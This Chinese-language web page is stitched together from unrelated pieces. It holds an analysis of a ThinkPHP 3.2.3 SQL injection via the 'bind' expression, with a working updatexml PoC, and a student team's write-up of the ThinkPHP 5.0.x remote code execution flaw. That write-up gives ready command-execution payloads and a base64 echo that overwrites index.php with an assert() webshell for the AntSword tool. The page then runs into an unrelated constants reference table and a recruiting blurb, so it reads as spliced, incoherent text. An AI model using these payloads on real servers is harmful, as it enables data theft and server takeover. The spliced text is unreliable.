要描述
thinkphp是國內著名的php開發框架,有完善的開發文檔,基于MVC架構,其中Thinkphp3.2.3是目前使用最廣泛的thinkphp版本,雖然已經停止新功能的開發,但是普及度高于新出的thinkphp5系列,由于框架實現安全數據庫過程中在update更新數據的過程中存在SQL語句的拼接,并且當傳入數組未過濾時導致出現了SQL注入。
Git補丁更新
新增加了BIND表達式
漏洞詳情
這個問題很早之前就注意到了,只是一直沒找到更常規的寫法去導致注入的產生,在挖掘框架漏洞的標準是在使用官方的標準開發方式的前提下也會產生可以用的漏洞,這樣才算框架級漏洞,跟普通的業務代碼漏洞是有嚴格界線的。
thinkphp系列框架過濾表達式注入多半采用I函數去調用think_filter
function think_filter(&$value){ if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value))
有沒有相關tips來達到I函數繞過呢?是可以的。
http://document.thinkphp.cn/manual_3_2.html#update_data
一般按照官方的寫法,thinkphp提供了數據庫鏈式操作,其中包含連貫操作和curd操作,在進行數據庫CURD操作去更新數據的時候:
舉例update數據操作。
where制定主鍵的數值,save方法去更新變量傳進來的參數到數據庫的指定位置。
public function where($where,$parse=null){ if(!is_null($parse) && is_string($where)) { if(!is_array($parse)) { $parse = func_get_args(); array_shift($parse); } $parse = array_map(array($this->db,'escapeString'),$parse); $where = vsprintf($where,$parse); }elseif(is_object($where)){ $where = get_object_vars($where); } if(is_string($where) && '' != $where){ $map = array(); $map['_string'] = $where; $where = $map; } if(isset($this->options['where'])){ $this->options['where'] = array_merge($this->options['where'],$where); }else{ $this->options['where'] = $where; } return $this; }
通過where方法獲取where()鏈式中進來的參數值,并對參數進行檢查,是否為字符串,tp框架默認是對字符串進行過濾的
public function save($data='',$options=array()) { if(empty($data)) { // 沒有傳遞數據,獲取當前數據對象的值 if(!empty($this->data)) { $data = $this->data; // 重置數據 $this->data = array(); }else{ $this->error = L('_DATA_TYPE_INVALID_'); return false; } } // 數據處理 $data = $this->_facade($data); if(empty($data)){ // 沒有數據則不執行 $this->error = L('_DATA_TYPE_INVALID_'); return false; } // 分析表達式 $options = $this->_parseOptions($options); $pk = $this->getPk(); if(!isset($options['where']) ) { // 如果存在主鍵數據 則自動作為更新條件 if (is_string($pk) && isset($data[$pk])) { $where[$pk] = $data[$pk]; unset($data[$pk]); } elseif (is_array($pk)) { // 增加復合主鍵支持 foreach ($pk as $field) { if(isset($data[$field])) { $where[$field] = $data[$field]; } else { // 如果缺少復合主鍵數據則不執行 $this->error = L('_OPERATION_WRONG_'); return false; } unset($data[$field]); } } if(!isset($where)){ // 如果沒有任何更新條件則不執行 $this->error = L('_OPERATION_WRONG_'); return false; }else{ $options['where'] = $where; } } if(is_array($options['where']) && isset($options['where'][$pk])){ $pkValue = $options['where'][$pk]; } if(false === $this->_before_update($data,$options)) { return false; } $result = $this->db->update($data,$options); if(false !== $result && is_numeric($result)) { if(isset($pkValue)) $data[$pk] = $pkValue; $this->_after_update($data,$options); } return $result; }
再來到save方法,通過前面的數據處理解析服務端數據庫中的數據字段信息,字段數據類型,再到_parseOptions表達式分析,獲取到表名,數據表別名,記錄操作的模型名稱,再去調用回調函數進入update
我們這里先直接看框架的where子單元函數,之前網上公開的exp表達式注入就是從這里分析出來的結論:
Thinkphp/Library/Think/Db/Driver.class.php
// where子單元分析 protected function parseWhereItem($key,$val) { $whereStr = ''; if(is_array($val)) { if(is_string($val[0])) { $exp = strtolower($val[0]); if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比較運算 $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]); }elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找 if(is_array($val[1])) { $likeLogic = isset($val[2])?strtoupper($val[2]):'OR'; if(in_array($likeLogic,array('AND','OR','XOR'))){ $like = array(); foreach ($val[1] as $item){ $like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item); } $whereStr .= '('.implode(' '.$likeLogic.' ',$like).')'; } }else{ $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]); } }elseif('bind' == $exp ){ // 使用表達式 $whereStr .= $key.' = :'.$val[1]; }elseif('exp' == $exp ){ // 使用表達式 $whereStr .= $key.' '.$val[1]; }elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 運算 if(isset($val[2]) && 'exp'==$val[2]) { $whereStr .= $key.' '.$this->exp[$exp].' '.$val[1]; }else{ if(is_string($val[1])) { $val[1] = explode(',',$val[1]); } $zone = implode(',',$this->parseValue($val[1])); $whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')'; } }elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN運算 $data = is_string($val[1])? explode(',',$val[1]):$val[1]; $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]); }else{ E(L('_EXPRESS_ERROR_').':'.$val[0]); } }else { $count = count($val); $rule = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ; if(in_array($rule,array('AND','OR','XOR'))) { $count = $count -1; }else{ $rule = 'AND'; } for($i=0;$i<$count;$i++) { $data = is_array($val[$i])?$val[$i][1]:$val[$i]; if('exp'==strtolower($val[$i][0])) { $whereStr .= $key.' '.$data.' '.$rule.' '; }else{ $whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' '; } } $whereStr = '( '.substr($whereStr,0,-4).' )'; } }else { //對字符串類型字段采用模糊匹配 $likeFields = $this->config['db_like_fields']; if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) { $whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%'); }else { $whereStr .= $key.' = '.$this->parseValue($val); } } return $whereStr; }
其中除了exp能利用外還有一處bind,而bind可以完美避開了think_filter:
elseif('bind' == $exp ){ // 使用表達式 $whereStr .= $key.' = :'.$val[1]; }elseif('exp' == $exp ){ // 使用表達式 $whereStr .= $key.' '.$val[1];
這里由于拼接了$val參數的形式造成了注入,但是這里的bind表達式會引入:符號參數綁定的形式去拼接數據,通過白盒對幾處CURD操作函數進行分析定位到update函數,insert函數會造成sql注入,于是回到上面的updateh函數。
Thinkphp/Library/Think/Db/Driver.class.php
/** * 更新記錄 * @access public * @param mixed $data 數據 * @param array $options 表達式 * @return false | integer */ public function update($data,$options) { $this->model = $options['model']; $this->parseBind(!empty($options['bind'])?$options['bind']:array()); $table = $this->parseTable($options['table']); $sql = 'UPDATE ' . $table . $this->parseSet($data); if(strpos($table,',')){// 多表更新支持JOIN操作 $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:''); } $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:''); if(!strpos($table,',')){ // 單表更新支持order和lmit $sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'') .$this->parseLimit(!empty($options['limit'])?$options['limit']:''); } $sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:''); return $this->execute($sql,!empty($options['fetch_sql']) ? true : false); }
跟進execute函數:
public function execute($str,$fetchSql=false) { $this->initConnect(true); if ( !$this->_linkID ) return false; $this->queryStr = $str; if(!empty($this->bind)){ $that = $this; $this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '''.$that->escapeString($val).'''; },$this->bind)); } if($fetchSql){ return $this->queryStr; }
這里有處對$this->queryStr進行字符替換的操作:
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '''.$that->escapeString($val).'''; },$this->bind));
具體是什么,我這里寫了一個實例:
常規的跟新數據庫用戶信息的操作:
Application/Home/Controller/UserController.class.php
<?phpnamespace HomeController;use ThinkController;class UserController extends Controller { public function index(){ $User = M("member"); $user['id'] = I('id'); $data['money'] = I('money'); $data['user'] = I('user'); $valu = $User->where($user)->save($data); var_dump($valu); } }
根據進來的id更新用戶的名字和錢,構造一個簡單一個poc
id[]=bind&id[]=1’&money[]=1123&user=liao
當走到execute函數時sql語句為:
UPDATE `member` SET `user`=:0 WHERE `id` = :1'
然后$that = $this
然后下面的替換操作是將”:0”替換為外部傳進來的字符串,這里就可控了。
替換后:
明顯發現之前的user
參數為:0然后被替換為了liao,這樣就把:替換掉了。
后面的:1明顯是替換不掉的:
那么我們將id[1]數組的參數變為0呢?
id[]=bind&id[]=0%27&money[]=1123&user=liao
果然造成了注入:
POC:
money[]=1123&user=liao&id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))
修復方式
更新最新補丁
補丁地址:https://github.com/top-think/thinkphp/commit/7e47e34af72996497c90c20bcfa3b2e1cedd7fa4
者介紹:Ice
國科學院安全學員,在國科學習安全課程,也參與在國科學生會安全團隊中進行安全實戰能力的提升。本次分享主要是針對現在一款運用極廣的開發框架ThinkPHP的遠程代碼執行漏洞研究,希望給大家帶來一些幫助。
0x00背景
ThinkPHP誕生于2006年,是一個國產開源的PHP開發框架,其借鑒了Struts框架的Action對象,同時也使用面向對象的開發結構和MVC模式。ThinkPHP可在Windows和Linux等操作系統運行,支持MySql,Sqlite和PostgreSQL等多種數據庫以及PDO擴展,是一款跨平臺,跨版本以及簡單易用的PHP框架。
ThinkPHP是一款運用極廣的PHP開發框架。其5.0.23以前的版本中,獲取method的方法中沒有正確處理方法名,導致攻擊者可以調用Request類任意方法并構造利用鏈,從而導致遠程代碼執行漏洞。
0x01影響范圍
Thinkphp 5.0.0~ 5.0.23
0x02漏洞分析
此處漏洞出現在thinkphp用于處理HTTP請求的Request類中,其中源碼存在一個method方法可以用于獲取當前的請求類型。
Method方法路徑:thinkphp/library/think/Request.php
IsGET、isPOST、isPUT等方法都調用了method方法來做請求類型的判斷(只列出來這些,還有其他的,比如head請求、patch請求)
而在默認情況下,是有表單偽裝變量的。
var_method為“表單偽裝變量”,這個東西在application/config.php里面定義
里面出現了:表單請求類型偽裝變量,我上官方論壇看了一下,他是這樣定義的
因為html里的form表單的method屬性只支持get和post兩種,由于源碼沒有進行任何過濾的措施,我們就可以利用控制_method參數來動態調用類中的任意方法,通過控制$_POST的值來向調用的方法傳遞參數
在默認情況下,該變量的值為“_method”
但是我們在method方法中,將表單偽裝變量對該方法的變量進行覆蓋,可以實現對該類的所有函數進行調用。
在request類中,分析一下_construct析構方法
我們看見,如果析構方法中屬性不存在(142行),那么就會自己調用配置文件中的default_fileter的值(所以在thinkphp5.0.10版本中,可以構造這樣的一個
payload——》s=ipconfig&_mehthod=__construct$method=&filter[]=system)
但是由于thinkphp5.0.23中進行了更新,在APP類中(路徑thinkphp/ library/think/App.php)中進行更新,新增設置了filter的屬性值,初始化了filter的屬性值,所以上個版本的覆蓋文件的默認值無法被利用。
而后,我們發現在request中的param方法也調用了method方法,他用于獲取當前請求的參數,傳入了默認值true
這個時候我們在返回去看_method方法
當傳過來的值為true時,會利用到server方法,我們再看一下這個方法
由上可知,我們傳過來的參數是REQUEST_METHOD,即name為REQUEST_METHOD,而后就會去調用input方法,我們跟蹤一下input方法
我們在跟蹤一下getFilter方法看看
很明顯這個方法執行了圖中畫框的代碼(不為空),$this->filter被賦值給了$filter,也就是請求中的filter參數
我們在返回input方法,解析過濾器之后,我們發現執行了判斷$data是否為數組,如果不是數組就可以將每個值作為一個參數用filterValue進行過濾
我們發現sever方法中的,$this->server被賦予的是一個超全局變量,那么我們就可以在調用析構方法的時候,我們也可以對$this->server的值進行覆蓋
在filterValue方法中,調用了call_user_func方法導致了代碼執行
這時候發現在在App類中,找到一處調用了$request->param();
在調用param方法之前,進行了未設置調度信息則進行 URL 路由檢測的功能。用routeCheck方法來設置$dispatch。然后用exec方法
$config變量是通過initCommon方法中的init方法初始化的
RouteCheck方法,加載config文件導入路由配置,然后通過Route::import加載路由
我們根據路由檢測規則,$method給的值不同返回的結果也會不同
Router類中的check方法控制了check函數中的$item變量也就控制了check方法最終返回的值,同時也控制了App類中的調度信息$dispath,而$dispath在App類中的run方法中被exec方法調用
這里使用了switch語句判斷$dispath['type']來執行相應的代碼。
之前,我們需要調用Request類中的param方法來對filter變量的覆蓋。
如果$dispath['type']是controller或者是method的時候可以直接調用param方法。
當我們讓$dispath['type']=function的時候,調用了invokeFunction方法, invokeFunction方法調用了bindParams方法也對param方法進行了調用。
我們控制了url中的s參數的值可以設置不同的$method,讓routeCheck返回$dispath。
我們將控制的url參數s的設置為captcha,并且設置post數據
所以此時可以構造payload:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
0x03漏洞危害等級
嚴重
0x04漏洞利用
1、 在網頁上構造payload(可以利用burp,也可以在POST上傳)
(1)查看目錄下的文件(ls)
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
(2)查看id
(3)查看當前目錄
(4)查看ip等信息(由于環境搭建在ubuntu,要用到sudo命令,所以可能查不了)
(5)這時候我們還可以更改上述payload中的
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
將其改為phpinfo,發現是可以輸出關于 PHP 配置的信息
2、 利用蟻劍工具getshell
為什么使用蟻劍工具?
由于存在過濾,需要用到base64加密來使我們的一句話木馬上傳成功
我們知道了一定存在index.php這個文件,那么我們就對其進行修改為一句話木馬的樣式
利用 echo “<?php @eval($_POST[‘xss’]);?>” >index.php 進行測試
為了顯示我們成功注入,我們在其中添加字段變為
echo “aaa<?php @eval($_POST[‘xss’]);?>bbb” >index.php
對引號內的進行base64,注意此時的引號不需要進行加密
經過測試,發現eval函數是注入不了的,需要替換為arrest函數才可以成功注入
所以
Echo “aaa<?php @assert($_POST['xss']);?>bbb” >index.php
最后構造出來的payload為
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ3hzcyddKTs/PmJiYg== | base64 -d > index.php
成功回顯出aaabbb,說明是加入到了index.php里了
開始用蟻劍,URL地址填寫我們一句話木馬的位置
注意要選擇char16和base64
進入界面
上傳測試數據
進入容器看看效果
發現是可以的!
0x05解決方法
自動:升級到最新版本(如果是在5.0.0——5.0.23之間的)
手動:
打開/thinkphp/library/think/Request.php文件,找到method方法(約496行),修改下面代碼:
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
改為:
$method = strtoupper($_POST[Config::get('var_method')]);if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
$this->method = $method;
$this->{$this->method}($_POST);} else {
$this->method = 'POST';}
unset($_POST[Config::get('var_method')]);
0x06 使用條件
國科學院學生會是由國科學院指導開展的學員服務型組織,致力于配合國科學院完成日常工作的開展以及強化鍛煉學員的自身職業素養與專業技能,下設部門有技術部和綜合部。
如果你們也想提升自我,又或者是想認識這些和你們一樣優秀的小伙伴,那就趕快聯系指導老師并加入我們吧!
學生會信箱:
student@goktech.cn
定義常量
預定義常量是指系統內置定義好的常量,不會隨著環境的變化而變化,包括:
預定義常量名說明返回值
EXT類庫文件后綴例:.php
THINK_VERSION框架版本號例:5.0.20
路徑常量
系統和應用的路徑常量用于系統默認的目錄規范,可以通過重新定義改變,如果不希望定制目錄,這些常量一般不需要更改。
路徑常量名說明返回值
DS當前系統的目錄分隔符\
THINK_PATH框架系統目錄tp5\thinkphp
ROOT_PATH框架應用根目錄tp5\
APP_PATH應用目錄(默認為application)tp5\public/../application/
CONF_PATH配置目錄(默認為 APP_PATH) tp5\public/../application/
LIB_PATH系統類庫目錄(默認為 THINK_PATH.’library/’) tp5\thinkphp\library\
CORE_PATH系統核心類庫目錄(默認為 LIB_PATH.’think/’)tp5\thinkphp\library\think\
TRAIT_PATH系統trait目錄(默認為 LIB_PATH.’traits/’)tp5\thinkphp\library\traits\
EXTEND_PATH擴展類庫目錄(默認為 ROOT_PATH . ‘extend/’) tp5\extend\
VENDOR_PATH三方類庫目錄(默認為 ROOT_PATH . ‘vendor/’)tp5\vendor\
RUNTIME_PATH應用運行時目錄(默認為 ROOT_PATH.’runtime/’)tp5\runtime\
LOG_PATH應用日志目錄(默認為 RUNTIME_PATH.’log/’)tp5\runtime\log\
CACHE_PATH項目模板緩存目錄(默認為 RUNTIME_PATH.’cache/’)tp5\runtime\cache\
TEMP_PATH應用緩存目錄(默認為 RUNTIME_PATH.’temp/’)tp5\runtime\temp\
系統常量
系統常量會隨著開發環境的改變或者設置的改變而產生變化。
系統常量名說明返回值
IS_WIN是否屬于Windows 環境例:bool(true)
IS_CLI是否屬于命令行模式例:bool(false)
THINK_START_TIME開始運行時間(時間戳)例:float(1536032984.5087)
THINK_START_MEM開始運行時候的內存占用例:int(144528)
ENV_PREFIX環境變量配置前綴例:string(4) "PHP_"
__ROOT__ : 網站根目錄地址
__APP__ : 當前項目(入口文件)地址
__GROUP__:當前分組地址
__URL__ : 當前模塊地址
__ACTION__ : 當前操作地址
__SELF__ : 當前 URL 地址
__CURRENT__ : 當前模塊的模板目錄
ACTION_NAME : 當前操作名稱
APP_PATH : 當前項目目錄
APP_NAME : 當前項目名稱
APP_TMPL_PATH : 項目模板目錄
APP_PUBLIC_PATH :項目公共文件目錄
CACHE_PATH : 項目模版緩存目錄
CONFIG_PATH :項目配置文件目錄
COMMON_PATH : 項目公共文件目錄
DATA_PATH : 項目數據文件目錄
GROUP_NAME :當前分組名稱
HTML_PATH : 項目靜態文件目錄
IS_APACHE : 是否屬于 Apache (2.1版開始已取消)
IS_CGI :是否屬于 CGI模式
IS_IIS :是否屬于 IIS (2.1版開始已取消)
IS_WIN :是否屬于Windows 環境
LANG_SET : 瀏覽器語言
LIB_PATH : 項目類庫目錄
LOG_PATH : 項目日志文件目錄
LANG_PATH : 項目語言文件目錄
MODULE_NAME :當前模塊名稱
MEMORY_LIMIT_ON : 是否有內存使用限制
MAGIC_QUOTES_GPC : MAGIC_QUOTES_GPC
TEMP_PATH :項目臨時文件目錄
TMPL_PATH : 項目模版目錄
THINK_PATH : ThinkPHP 系統目錄
THINK_VERSION :ThinkPHP版本號
TEMPLATE_NAME :當前模版名稱
TEMPLATE_PATH :當前模版路徑
VENDOR_PATH : 第三方類庫目錄
WEB_PUBLIC_PATH :網站公共目錄
TAPP_CACHE_NAME : 系統緩存文件名 2.1版本新增
*請認真填寫需求信息,我們會在24小時內與您取得聯系。